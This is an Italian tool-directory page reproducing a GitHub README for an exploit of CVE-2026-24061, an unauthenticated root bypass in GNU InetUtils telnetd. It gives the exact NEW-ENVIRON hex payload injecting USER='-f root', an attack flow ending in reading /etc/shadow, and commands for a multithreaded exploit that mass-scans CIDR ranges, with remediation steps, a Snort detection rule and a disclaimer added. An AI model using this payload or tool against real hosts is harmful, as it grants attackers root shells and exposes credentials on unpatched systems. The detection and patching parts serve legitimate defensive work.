Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-24061 — GNU InetUtils telnetd - Root remoto non autenticato tramite iniezione di variabili NEW-ENVIRON. | Kitploit
Strumenti/GitHubGitHub/franckferman/cve-2026-24061
Scanner di VulnerabilitàExploitSicurezza di RetePenetration TestingThreat IntelligenceAutenticazioneApprendimento e FormazioneRed Teaming
GitHubfranckferman/cve-2026-24061

CVE-2026-24061

GNU InetUtils telnetd - Root remoto non autenticato tramite iniezione di variabili NEW-ENVIRON.

Vedi Repository
45 mesi faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE Score License Python No deps

GNU InetUtils telnetd - Root remoto non autenticato tramite iniezione di variabili NEW-ENVIRON

Panoramica - Analisi tecnica - Versioni interessate - Utilizzo - Rimedi - Riferimenti


Panoramica della vulnerabilità

CVE-2026-24061 è una vulnerabilità critica di bypass dell'autenticazione nel demone telnetd distribuito come parte di GNU InetUtils. Il difetto risiede nella gestione dell'opzione Telnet NEW-ENVIRON (RFC 1572) durante la fase iniziale di handshake del protocollo.

La causa principale è la mancata sanificazione delle variabili d'ambiente fornite dal client prima di passarli al programma . Quando il demone Telnet riceve un pacchetto di sub-negoziazione contenente la variabile con il valore , passa questo valore non sanificato direttamente al binario di sistema .

login(1)
NEW-ENVIRON IS
USER
-f root
login

Su sistemi in cui login accetta il flag -f (login forzato senza verifica della password), ciò comporta la concessione di una sessione root non autenticata all'attaccante remoto.

Questa classe di vulnerabilità ha precedenti storici: CVE-2001-0797 in SysV telnetd e il noto bypass -f di Linux telnetd del 1994 sfruttavano la stessa mancanza fondamentale di sanificazione degli argomenti provenienti dall'ambiente passati a binari privilegiati.

Nessuna credenziale richiesta. Nessun accesso preliminare necessario. Una singola sequenza di pacchetti di rete consente di ottenere root.

Analisi tecnica

Causa principale

GNU InetUtils telnetd elabora la sub-negoziazione NEW-ENVIRON (codice opzione 0x27, secondo RFC 1572) per raccogliere le variabili d'ambiente fornite dal client. Queste variabili vengono assemblate in un vettore di argomenti e passate a execve(2) quando viene avviato login(1).

La vulnerabilità viene attivata come segue:

  1. Il server invia IAC DO NEW-ENVIRON, richiedendo le variabili d'ambiente dal client.
  2. Il client malintenzionato risponde con IAC WILL NEW-ENVIRON.
  3. Il server prosegue con IAC SB NEW-ENVIRON SEND IAC SE.
  4. Il client invia il payload iniettato:
root@kitploit:~
IAC SB NEW-ENVIRON IS
  VAR "USER" VALUE "-f root"
IAC SE
  1. telnetd costruisce l'invocazione di login come login -f root.
  2. login(1) interpreta -f come "login forzato, salta l'autenticazione" e autentica l'utente specificato (root) senza richiedere una password.

Analisi a livello di protocollo

PassoDirezioneByte Telnet (hex)Significato
1S -> CFF FD 27IAC DO NEW-ENVIRON
2C -> SFF FB 27IAC WILL NEW-ENVIRON
3S -> CFF FA 27 01 FF F0IAC SB NEW-ENVIRON SEND IAC SE
4C -> SFF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE

Perché -f root funziona

Il binario login(1) su molti sistemi Linux accetta il flag -f <utente> per login "pre-autenticati", storicamente utilizzato da multiplexer di terminale e rlogin. Quando telnetd costruisce la sua chiamata exec e non riesce a rimuovere i trattini iniziali o a validare stringhe simili a opzioni nei valori delle variabili d'ambiente, passa inavvertitamente flag controllati dall'attaccante direttamente a login.

La chiamata effettiva diventa:

root@kitploit:~
execve("/bin/login", ["login", "-f", "root"], envp);

Scenario di attacco

root@kitploit:~
Attaccante                                    telnetd vulnerabile (porta 23)
   |                                                   |
   |------- TCP SYN (porta 23) ----------------------->|
   |<------ TCP SYN-ACK -------------------------------|
   |------- TCP ACK ---------------------------------->|
   |                                                   |
   |<------ Banner Telnet + IAC DO NEW-ENVIRON --------|
   |------- IAC WILL NEW-ENVIRON --------------------->|
   |<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
   |                                                   |
   |------- IAC SB NEW-ENVIRON IS                      |
   |        VAR "USER" VALUE "-f root" IAC SE -------->|
   |                                                   |
   |        [telnetd chiama: login -f root]            |
   |                                                   |
   |<------ Prompt shell root (#) ---------------------|
   |                                                   |
   |------- id; whoami; cat /etc/shadow -------------->|
   |<------ uid=0(root) root contenuto /etc/shadow ----|

Prerequisiti:

  • Sistema target che esegue GNU InetUtils telnetd (TCP/23 aperto)
  • Versione non patchata di inetutils
  • Il binario login(1) supporta il flag -f (standard sulla maggior parte delle distribuzioni Linux)
  • Nessun firewall che blocchi TCP/23

Versioni interessate

SoftwareVersioni interessateStato
GNU InetUtils telnetd<= 2.x (versione patchata specifica da definire)Vulnerabile
Distribuzioni che includono GNU inetutils non patchatoVarieConsultare l'avviso del fornitore

Verificare se la propria distribuzione include una versione patchata. Molti sistemi moderni hanno Telnet disabilitato per impostazione predefinita; l'esposizione richiede un telnetd esplicitamente in esecuzione.

Punteggio CVSS

MetricaValore
Punteggio base CVSS v3.19.8 (Critico)
Vettore di attaccoRete
Complessità dell'attaccoBassa
Privilegi richiestiNessuno
Interazione dell'utenteNessuna
ScopeInvariato
Impatto sulla riservatezzaAlto
Impatto sull'integritàAlto
Impatto sulla disponibilitàAlto
Stringa del vettoreCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Mappatura MITRE ATT&CK

ID ATT&CKTatticaTecnicaRilevanza
T1190Accesso inizialeSfruttamento di applicazioni esposte al pubblicoSfruttamento diretto di telnetd sulla rete
T1059EsecuzioneInterprete di comandi e scriptEsecuzione di shell post-sfruttamento
T1078.004Escalation dei privilegi / Evasione delle difeseAccount validi: Account localiIl bypass dell'autenticazione produce una sessione root valida
T1548Escalation dei privilegiAbuso del meccanismo di controllo dell'elevazioneFlag login -f abusato per bypassare PAM/autenticazione
T1046ScopertaScoperta dei servizi di reteComponente di scansione di massa del PoC

Installazione

Requisiti: Python 3 (solo libreria standard, zero dipendenze esterne).

root@kitploit:~
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061

Nessuna necessità di pip install. Entrambi gli script utilizzano solo la libreria standard di Python.

Struttura del progetto

root@kitploit:~
poc_cve_2026_24061.py       # PoC semplice (~100 righe) - comprendere la vulnerabilità
cve_2026_24061.py           # Exploit industrializzato - multithread, CIDR, esportazione CSV/JSON
scripts/
  generate_signatures.py    # Genera automaticamente regole Snort/Suricata + Sigma dal payload
  generate_misp_event.py    # Genera eventi JSON importabili in MISP
  generate_stix_bundle.py   # Genera bundle STIX 2.1 (MISP, OpenCTI, TAXII)
signatures/
  snort.rules               # Regole di rilevamento Snort/Suricata (generate automaticamente)
  sigma.yml                 # Regola Sigma per SIEM (generata automaticamente)
indicators/
  misp_event.json           # Evento MISP - importare tramite Events > Add Event > Import
  stix_bundle.json          # Bundle STIX 2.1 - 11 oggetti (vuln, indicator, ATT&CK, CoA)
  • poc_cve_2026_24061.py: Minimo, leggibile, didattico. Un target, una funzione, zero astrazioni. Leggere questo per comprendere esattamente come funziona la vulnerabilità a livello di protocollo.
  • cve_2026_24061.py: Exploit industrializzato per test di penetrazione. Multithread, supporta intervalli CIDR, input da file, esportazione CSV/JSON, modalità silenziosa, utenti personalizzati.

Utilizzo

PoC semplice (poc_cve_2026_24061.py)

Sfrutta un singolo host. Il codice è volutamente minimale per poterlo leggere dall'inizio alla fine e comprendere l'intera catena di attacco.

root@kitploit:~
# Utilizzo di base
python3 poc_cve_2026_24061.py 192.168.1.100

# Porta personalizzata
python3 poc_cve_2026_24061.py 10.0.0.5 2323

Exploit industrializzato (cve_2026_24061.py)

Host singolo

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.100

Intervallo CIDR (scansione di massa)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50

Input da file

root@kitploit:~
python3 cve_2026_24061.py -f targets.txt -o results.csv

Esportazione JSON

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json

Utente target personalizzato

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.1 --user admin

Modalità silenziosa (compatibile con pipe)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt

Opzioni complete

ParametroPredefinitoDescrizione
-t / --target-IP singolo, hostname o intervallo CIDR
-f / --file-File contenente IP/CIDR (uno per riga, commenti con #)
-T / --threads10Numero di thread concorrenti
-p / --port23Porta Telnet target
--timeout5Timeout del socket in secondi
--userrootNome utente per il payload -f
-o / --output-Esporta i risultati in file CSV
--json-Esporta i risultati in file JSON
-q / --quietoffModalità silenziosa: stampa solo i target vulnerabili (uno per riga)
--no-coloroffDisabilita l'output colore ANSI

Stati di output

StatoSignificato
[VULN]Host confermato vulnerabile - ottenuta shell root
[SAFE]L'host ha risposto ma l'autenticazione non è stata bypassata
[CLOS]Porta chiusa o connessione rifiutata
[ERR ]Errore di socket o di protocollo durante la scansione

Colonne di output CSV: ip:port, status, message

Comportamento del PoC

Lo script implementa l'intera macchina a stati della negoziazione Telnet NEW-ENVIRON nativamente in Python senza fare affidamento su librerie Telnet esterne:

  1. Apre un socket TCP grezzo verso il target sulla porta 23 (configurabile).
  2. Legge le sequenze di comandi IAC in arrivo e risponde a DO NEW-ENVIRON con WILL NEW-ENVIRON.
  3. Alla ricezione della sub-negoziazione del server SB NEW-ENVIRON SEND, trasmette il payload iniettato (USER = "-f root").
  4. Monitora il buffer di risposta per indicatori di login root riuscito: presenza di uid=0(root) o di un prompt di shell (#), in assenza di Login incorrect o Password:.
  5. Se il payload è stato iniettato, invia id\n e verifica la presenza di uid=0(root) nella risposta come conferma secondaria.

I risultati vengono registrati su stdout con etichette di stato colorate. L'esportazione CSV opzionale registra tutti i risultati per l'elaborazione successiva.

Rimedi e mitigazione

Azioni immediate

  1. Disabilitare completamente Telnet. Telnet trasmette tutti i dati in chiaro. Sostituirlo con SSH.

    root@kitploit:~
    sudo systemctl disable telnet.socket --now
    sudo systemctl disable inetd --now
    
  2. Applicare la patch del fornitore. Installare la versione patchata di inetutils dalla propria distribuzione quando disponibile.

  3. Bloccare TCP/23 al perimetro. Applicare regole firewall per negare le connessioni Telnet in ingresso.

    root@kitploit:~
    # iptables
    sudo iptables -A INPUT -p tcp --dport 23 -j DROP
    # nftables
    sudo nft add rule inet filter input tcp dport 23 drop
    

Difesa in profondità

ControlloDescrizione
Segmentazione della reteLimitare Telnet a reti di gestione isolate se non può essere disabilitato
Hardening PAMRivedere la configurazione PAM; disabilitare la pre-autenticazione -f dove non richiesta da login.defs
Firme IDS/IPSRilevare pattern NEW-ENVIRON IS VAR USER VALUE -f nel traffico Telnet
Registrazione di auditMonitorare auth.log / secure per login root inattesi tramite login
Scansione delle vulnerabilitàEseguire scansioni autenticate (OpenVAS, Nessus) per identificare inetutils non patchato

Rilevamento (SIEM/IDS)

Scheletro di regola Snort/Suricata per rilevare l'exploit in transito:

root@kitploit:~
alert tcp any any -> any 23 (
  msg:"CVE-2026-24061 tentativo di exploit telnetd USER=-f root";
  content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
  sid:2026240610; rev:1;
)

Threat Intelligence

Questo repository include artefatti di threat intelligence pre-generati, pronti per l'importazione nel proprio stack SOC/CTI. Sono generati automaticamente dalla CI a partire dal payload effettivo dell'exploit - se il payload cambia, gli artefatti si aggiornano.

MISP

Importare indicators/misp_event.json direttamente in qualsiasi istanza MISP:

root@kitploit:~
Events > Add Event > Import from... > JSON

L'evento contiene: ID CVE, vettore CVSS, firma Snort, payload hex, tag MITRE ATT&CK (T1190, T1548, T1059), CPE e riferimenti esterni.

STIX 2.1

Importare indicators/stix_bundle.json in OpenCTI, server TAXII o qualsiasi consumatore STIX 2.1.

Il bundle contiene 11 oggetti: Vulnerability, Indicator (pattern di rete), 3 Attack Patterns (MITRE), Course of Action (rimedio), Identity e Relationships che li collegano.

Firme IDS

Regole predefinite in signatures/:

  • snort.rules - 3 regole Snort/Suricata (tentativo di exploit, iniezione generica -f, shell root post-sfruttamento)
  • sigma.yml - Regola Sigma per correlazione SIEM

Rigenerazione

Se si modifica il payload dell'exploit, rigenerare tutti gli artefatti:

root@kitploit:~
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py

Riferimenti: MISP - OpenCTI - STIX 2.1 - Sigma

Riferimenti

  • Repository ufficiale GNU InetUtils
  • RFC 1572 - Opzione ambiente Telnet (NEW-ENVIRON)
  • RFC 854 - Specifica del protocollo Telnet
  • CVE-2001-0797 - Bypass storico SysV telnetd -f (precedente)
  • MITRE ATT&CK - T1190: Sfruttamento di applicazioni esposte al pubblico
  • MITRE ATT&CK - T1548: Abuso del meccanismo di controllo dell'elevazione
  • Progetto MISP
  • Pagina man Linux login(1)

Disclaimer legale

Questo strumento è fornito esclusivamente per audit di sicurezza autorizzati, ricerca accademica e scopi educativi. L'utilizzo contro sistemi senza esplicita autorizzazione scritta del proprietario del sistema è illegale ai sensi delle leggi applicabili su frode e abuso informatico (incluse, a titolo esemplificativo, CFAA, Computer Misuse Act e legislazione equivalente). L'autore non si assume alcuna responsabilità per utilizzi non autorizzati o dannosi.

Scarica lo strumento